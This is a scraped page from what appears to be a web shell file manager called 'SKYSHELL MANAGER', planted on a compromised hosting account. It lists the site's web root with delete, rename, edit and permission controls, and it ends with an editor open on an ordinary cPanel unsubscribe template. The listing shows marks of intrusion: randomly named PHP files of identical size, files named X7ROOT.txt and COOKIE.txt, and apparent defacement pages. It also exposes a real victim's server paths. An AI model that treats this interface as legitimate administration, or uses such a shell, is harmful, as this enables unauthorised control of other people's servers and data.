📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: unsubscribe.html.tt
[% SET dprefix = "../"; SET CPANEL.CPVAR.dprefix = dprefix.repeat(1); SET user_theme = CPANEL.CPDATA.RS; SET TEMPLATE_NAME = "unsubscribe.html.tt"; SET HOME_PATH = cp_security_token _ '/frontend/' _ user_theme; SET ROUTER_PATH = HOME_PATH _ '/koality'; SET PROTOCOL = 'http'; IF CPANEL.ENV.HTTPS == 'on'; SET PROTOCOL = 'https'; END; SET HOME_URL = PROTOCOL _ '://' _ CPANEL.ENV.SERVER_NAME _ ':' _ CPANEL.ENV.SERVER_PORT _ '/' _ cp_security_token; SET has_feature = CPANEL.feature("koality"); # See: https://api.docs.cpanel.net/openapi/cpanel/operation/get_site_monitor_app_token/ SET token_response = execute('SiteQuality', 'get_app_token'); SET token = token_response.data.app_token; # See: https://api.docs.cpanel.net/openapi/cpanel/operation/get_site_monitor_environment/ SET result = execute('SiteQuality', 'get_environment'); SET environment = result.data.environment; links_code = PROCESS links_block; init_code = PROCESS init_block; js_code = PROCESS js_block; meta_code = PROCESS meta_block; %] [% WRAPPER '_assets/master.html.tt' page_title = 'Site Quality Monitoring' app_key = 'cpanel-koality-plugin' page_sub_heading = ''; include_cjt = 0 is_jupiter_style = 1 include_legacy_stylesheets = 0 include_legacy_scripts = 0 use_master_bootstrap = 0 page_styles = links_code page_js_first = init_code page_js = js_code meta = meta_code -%] <div class="body-content"> [% IF has_feature && token %] <script> /** Use in the template expansion of some linked resources **/ const calculateBasePath = (keepSegments) => { const path = window.location.pathname const segments = path.split('/') const keep = segments.slice(0, keepSegments + 1) return keep.join('/') + '/' } </script> <div class="container"><h1>Unsubscribe from Alerts</h1><p id="message">Processing your request...</div><div class="banner"><p> Please note that it may take some time for your subscription changes to be fully reflected in the alert system. </div><script> document.addEventListener("DOMContentLoaded", function () { const urlParams = new URLSearchParams(window.location.search); const hash = urlParams.get("hash"); const messageElement = document.getElementById("message"); if (hash) { const apiRoute = window.location.hostname.includes("stage.") ? "https://api.stage.koalityengine.com/v1/alerting/unsubscribe/email/" : "https://api.cluster1.koalityengine.com/v1/alerting/unsubscribe/email/"; fetch(apiRoute + hash, { method: "POST" }) .then((response) => response.json()) .then((data) => { if (data.status === "success") { messageElement.textContent = "You have successfully been unsubscribed from receiving alerts related to your monitored website."; } else { messageElement.textContent = "There was an error processing your request. The subscription either does not exist or has been already removed."; } }) .catch((error) => { messageElement.textContent = "There was an error processing your request. Please try again later."; }); } else { messageElement.textContent = "Invalid request."; } }); </script> [% ELSIF has_feature && !token %] <div class="body-content"> <div class="alert alert-danger"> <span class="glyphicon glyphicon-remove-sign" aria-hidden="true"></span> <div class="alert-message"> [% locale.maketext('[output,strong,Error:] Your account has not enrolled in Site Quality Monitoring. Redirecting to the signup form.') %] </div> </div> </div> <meta http-equiv="refresh" content="0;url='./signup/index.html'" /> [% ELSE %] <div class="body-content"> <div class="alert alert-danger"> <span class="glyphicon glyphicon-remove-sign" aria-hidden="true"></span> <div class="alert-message"> [% locale.maketext('[output,strong,Error:] This feature, “[_1]”, is not enabled on your account. Please contact your hosting provider for access.', 'Site Quality Monitoring') %] </div> </div> </div> <meta http-equiv="refresh" content="0;url='../../index.html'" /> [% END %] </div> [% END %] [% BLOCK links_block %] <style> html, body { height: 100% !important; } .body-content #koalityApp .\!min-h-screen { min-height: unset !important } .body-content #koalityApp .fixed.top-0 { top: 60px !important } @media(min-width: 768px) { html[dir=ltr] .body-content .fixed.left-0 { left: clamp(240px,14.8vw,320px) !important } html[dir=rtl] .body-content .fixed.right-0 { right: clamp(240px,14.8vw,320px) !important } html[dir=ltr] .body-content .fixed.left-0, html[dir=rtl] .body-content .fixed.right-0 { max-width: calc(100vw - 240px); } } .body-content .mobileFullHeight { height: calc(100vh - 6rem) !important} /* Correction for the page title that are being overwritten by tailwind */ /* NOTE: This is a very fragil hack that will work until the shared styles */ /* change or the tailwind stuff breaks things further. The real solution */ /* is to isolate the tailwind styles to inside the .page-body tag. */ /* The koality team is working on patches for the SPA to do that. */ .page-title { display: block; font-size: 30px; text-transform: capitalize; } .page-title-section { display: inline-block; vertical-align: top; font-size: 20px; } h1.page-header { border-bottom: 0; font-weight: lighter; font-family: "Open Sans",sans-serif; line-height: 1.1; color: inherit; font-size: 2em; margin-bottom: 0.67em; } h1 #pageSubHeading { font-size: 65%; font-weight: 400; line-height: 1; color: #999; } </style> [% END %] [% BLOCK init_block %] [% SET locale_tag = locale.get_language_tag(); # es_419 SET language_tag = locale_tag.split('_').0; # es %] <script> window.PLUGINS = { koality: { isSandbox: [% IF CPANEL.is_sandbox; 'false'; ELSE; 'false'; END; %], isCpanel: true, locale: [% language_tag.json() %], token: [% token.json() %], environment: [% environment.json() %], basePath: [% ROUTER_PATH.json() %], homeUrl: [% HOME_URL.json() %], defaultPage: 'index.html#/', hasDevConfig: false, } } </script> [% END %] [% BLOCK js_block %] [% END %] [% BLOCK meta_block %] <meta charset="UTF-8" /> <meta content="width=device-width, initial-scale=1.0" name="viewport" /> [% END %]
Save